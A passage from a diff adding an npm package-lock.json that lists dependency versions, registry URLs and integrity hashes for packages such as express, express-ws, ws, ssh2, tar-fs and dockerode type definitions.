"sha512-KEyUw8AwRET2iFjFsI1EJQrJ/fHeGiJtgpYgEWG3yDv4l/To/m3a2GaYfeGyB3lsWdvbesjF5XCMx+SVBgAAYw==", + "dependencies": { + "ws": "^5.2.0" + }, + "engines": { + "node": ">=4.5.0" + } + }, + "node_modules/express-ws/node_modules/ws": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/ws/-/ws-5.2.2.tgz", + "integrity": "sha512-jaHFD6PFv6UgoIVda6qZllptQsMlDEJkTQcybzzXDYM1XO9Y8em691FGMPmM46WGyLU4z9KMgQN+qrux/nhlHA==", + "dependencies": { + "async-limiter": "~1.0.0" + } + }, + "node_modules/express/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/express/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, + "node_modules/express/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/finalhandler": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.2.tgz", + "integrity": "sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==", + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "~2.3.0", + "parseurl": "~1.3.3", + "statuses": "~1.5.0", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/finalhandler/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/finalhandler/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, + "node_modules/forwarded": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.1.2.tgz", + "integrity": "sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ=", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fs-constants": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==" + }, + "node_modules/http-errors": { + "version": "1.7.2", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz", + "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==", + "dependencies": { + "depd": "~1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.1", + "statuses": ">= 1.5.0 < 2", + "toidentifier": "1.0.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/http-errors/node_modules/inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" + }, + "node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/merge-descriptors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", + "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=" + }, + "node_modules/methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.45.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.45.0.tgz", + "integrity": "sha512-CkqLUxUk15hofLoLyljJSrukZi8mAtgd+yE5uO4tqRZsdsAJKv0O+rFMhVDRJgozy+yG6md5KwuXhD4ocIoP+w==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.28", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.28.tgz", + "integrity": "sha512-0TO2yJ5YHYr7M2zzT7gDU1tbwHxEUWBCLt0lscSNpcdAfFyJOVEpRYNS7EXVcTLNj/25QO8gulHC5JtTzSE2UQ==", + "dependencies": { + "mime-db": "1.45.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mkdirp-classic": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", + "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==" + }, + "node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/negotiator": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.2.tgz", + "integrity": "sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/on-finished": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", + "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/path-to-regexp": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", + "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=" + }, + "node_modules/proxy-addr": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.6.tgz", + "integrity": "sha512-dh/frvCBVmSsDYzw6n926jv974gddhkFPfiN8hPOi30Wax25QZyZEGveluCgliBnqmuM+UJmBErbAUFIoDbjOw==", + "dependencies": { + "forwarded": "~0.1.2", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/qs": { + "version": "6.7.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", + "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz", + "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==", + "dependencies": { + "bytes": "3.1.0", + "http-errors": "1.7.2", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/readable-stream": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", + "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "node_modules/send": { + "version": "0.17.1", + "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz", + "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==", + "dependencies": { + "debug": "2.6.9", + "depd": "~1.1.2", + "destroy": "~1.0.4", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "~1.7.2", + "mime": "1.6.0", + "ms": "2.1.1", + "on-finished": "~2.3.0", + "range-parser": "~1.2.1", + "statuses": "~1.5.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/send/node_modules/debug/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, + "node_modules/send/node_modules/ms": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", + "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==" + }, + "node_modules/serve-static": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz", + "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==", + "dependencies": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.17.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/setprototypeof": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz", + "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==" + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.19", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.19.tgz", + "integrity": "sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==", + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/split-ca": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/split-ca/-/split-ca-1.0.1.tgz", + "integrity": "sha1-bIOv82kvphJW4M0ZfgXp3hV2kaY=" + }, + "node_modules/ssh2": { + "version": "0.8.9", + "resolved": "https://registry.npmjs.org/ssh2/-/ssh2-0.8.9.tgz", + "integrity": "sha512-GmoNPxWDMkVpMFa9LVVzQZHF6EW3WKmBwL+4/GeILf2hFmix5Isxm7Amamo8o7bHiU0tC+wXsGcUXOxp8ChPaw==", + "dependencies": { + "ssh2-streams": "~0.4.10" + }, + "engines": { + "node": ">=5.2.0" + } + }, + "node_modules/ssh2-streams": { + "version": "0.4.10", + "resolved": "https://registry.npmjs.org/ssh2-streams/-/ssh2-streams-0.4.10.tgz", + "integrity": "sha512-8pnlMjvnIZJvmTzUIIA5nT4jr2ZWNNVHwyXfMGdRJbug9TpI3kd99ffglgfSWqujVv/0gxwMsDn9j9RVst8yhQ==", + "dependencies": { + "asn1": "~0.2.0", + "bcrypt-pbkdf": "^1.0.2", + "streamsearch": "~0.1.2" + }, + "engines": { + "node": ">=5.2.0" + } + }, + "node_modules/statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/streamsearch": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-0.1.2.tgz", + "integrity": "sha1-gIudDlb8Jz2Am6VzOOkpkZoanxo=", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/tar-fs": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.0.1.tgz", + "integrity": "sha512-6tzWDMeroL87uF/+lin46k+Q+46rAJ0SyPGz7OW7wTgblI273hsBqk2C1j0/xNadNLKDTUL9BukSjB7cwgmlPA==", + "dependencies": { + "chownr": "^1.1.1", + "mkdirp-classic": "^0.5.2", + "pump": "^3.0.0", + "tar-stream": "^2.0.0" + } + }, + "node_modules/tar-stream": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", + "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", + "dependencies": { + "bl": "^4.0.3", + "end-of-stream": "^1.4.1", + "fs-constants": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^3.1.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/toidentifier": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz", + "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/tslog": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/tslog/-/tslog-3.0.5.tgz", + "integrity": "sha512-WyI2zFa6rVzXja6bKIZ9VeRKwHceqlUzCCo2IMsi6X5oswij95s3GJKve1Pr5bdlVIUMTsWaT/wtBiL7MT4PLQ==", + "dependencies": { + "source-map-support": "^0.5.19" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/tweetnacl": { + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", + "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=" + }, + "node_modules/type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "dependencies": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + }, + "node_modules/utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + }, + "node_modules/ws": { + "version": "7.4.2", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.4.2.tgz", + "integrity": "sha512-T4tewALS3+qsrpGI/8dqNMLIVdq/g/85U98HPMa6F0m6xTbvhXU6RCQLqPH3+SlomNV/LdY6RXEbBpMH6EOJnA==", + "engines": { + "node": ">=8.3.0" + } + } + }, + "dependencies": { + "@types/body-parser": { + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.0.tgz", + "integrity": "sha512-W98JrE0j2K78swW4ukqMleo8R7h/pFETjM2DQ90MF6XK2i4LO4W3gQ71Lt4w3bfm2EvVSyWHplECvB5sK22yFQ==", + "requires": { + "@types/connect": "*", + "@types/node": "*" + } + }, + "@types/connect": { + "version": "3.4.34", + "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.34.tgz", + "integrity": "sha512-ePPA/JuI+X0vb+gSWlPKOY0NdNAie/rPUqX2GUPpbZwiKTkSPhjXWuee47E4MtE54QVzGCQMQkAL6JhV2E1+cQ==", + "requires": { + "@types/node": "*" + } + }, + "@types/dockerode": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/@types/dockerode/-/dockerode-3.2.2.tgz", + "integrity": "sha512-YtdVvc+WmxShwx0iBmn0AtiLL2Zbcak9gXqdeBp0UpiRyOcshZM0eVTOEkUKd4mIjHzSEpA+1P3lXb7ouYvDtQ==", + "requires": { + "@types/node": "*" + } + }, + "@types/express": { + "version": "4.17.11", + "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.11.tgz", + "integrity": "sha512-no+R6rW60JEc59977wIxreQVsIEOAYwgCqldrA/vkpCnbD7MqTefO97lmoBe4WE0F156bC4uLSP1XHDOySnChg==", + "requires": { + "@types/body-parser": "*", + "@types/express-serve-static-core": "^4.17.18", + "@types/qs": "*", + "@types/serve-static": "*" + } + }, + "@types/express-serve-static-core": { + "version": "4.17.18", + "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.18.tgz", + "integrity": "sha512-m4JTwx5RUBNZvky/JJ8swEJPKFd8si08pPF2PfizYjGZOKr/svUWPcoUmLow6MmPzhasphB7gSTINY67xn3JNA==", + "requires": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*" + } + }, + "@types/express-ws": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/express-ws/-/express-ws-3.0.0.tgz", + "integrity": "sha512-GxsWec7Vp6h7sJuK0PwnZHeXNZnOwQn8kHAbCfvii66it5jXHTWzSg5cgHVtESwJfBLOe9SJ5wmM7C6gsDoyQw==", + "requires": { + "@types/express": "*", + "@types/express-serve-static-core": "*", + "@types/ws": "*" + } + }, + "@types/mime": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@types/mime/-/mime-2.0.3.tgz", + "integrity": "sha512-Jus9s4CDbqwocc5pOAnh8ShfrnMcPHuJYzVcSUU7lrh8Ni5HuIqX3oilL86p3dlTrk0LzHRCgA/GQ7uNCw6l2Q==" + }, + "@types/node": { + "version": "14.14.20", + "resolved": "https://registry.npmjs.org/@types/node/-/node-14.14.20.tgz", + "integrity": "sha512-Y93R97Ouif9JEOWPIUyU+eyIdyRqQR0I8Ez1dzku4hDx34NWh4HbtIc3WNzwB1Y9ULvNGeu5B8h8bVL5cAk4/A==" + }, + "@types/qs": { + "version": "6.9.5", + "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.9.5.tgz", + "integrity": "sha512-/JHkVHtx/REVG0VVToGRGH2+23hsYLHdyG+GrvoUGlGAd0ErauXDyvHtRI/7H7mzLm+tBCKA7pfcpkQ1lf58iQ==" + }, + "@types/range-parser": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.3.tgz", + "integrity": "sha512-ewFXqrQHlFsgc09MK5jP5iR7vumV/BYayNC6PgJO2LPe8vrnNFyjQjSppfEngITi0qvfKtzFvgKymGheFM9UOA==" + }, + "@types/serve-static": { + "version": "1.13.8", + "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.13.8.tgz", + "integrity": "sha512-MoJhSQreaVoL+/hurAZzIm8wafFR6ajiTM1m4A0kv6AGeVBl4r4pOV8bGFrjjq1sGxDTnCoF8i22o0/aE5XCyA==", + "requires": { + "@types/mime": "*", + "@types/node": "*" + } + }, + "@types/ws": { + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-7.4.0.tgz", + "integrity": "sha512-Y29uQ3Uy+58bZrFLhX36hcI3Np37nqWE7ky5tjiDoy1GDZnIwVxS0CgF+s+1bXMzjKBFy+fqaRfb708iNzdinw==", + "requires": { + "@types/node": "*" + } + }, + "accepts": { + "version": "1.3.7", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.7.tgz", + "integrity": "sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA==", + "requires": { + "mime-types": "~2.1.24", + "negotiator": "0.6.2" + } + }, + "array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=" + }, + "asn1": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", + "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==", + "requires": { + "safer-buffer": "~2.1.0" + } + }, + "async-limiter": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz", + "integrity": "sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ==" + }, + "base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==" + }, + "bcrypt-pbkdf": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", + "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", + "requires": { + "tweetnacl": "^0.14.3" + } + }, + "bl": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/bl/-/bl-4.0.3.tgz", + "integrity": "sha512-fs4G6/Hu4/EE+F75J8DuN/0IpQqNjAdC7aEQv7Qt8MHGUH7Ckv2MwTEEeN9QehD0pfIDkMI1bkHYkKy7xHyKIg==", + "requires": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "body-parser": { + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", + "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==", + "requires": { + "bytes": "3.1.0", + "content-type": "~1.0.4", + "debug": "2.6.9", + "depd": "~1.1.2", + "http-errors": "1.7.2", + "iconv-lite": "0.4.24", + "on-finished": "~2.3.0", + "qs": "6.7.0", + "raw-body": "2.4.0", + "type-is": "~1.6.17" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": 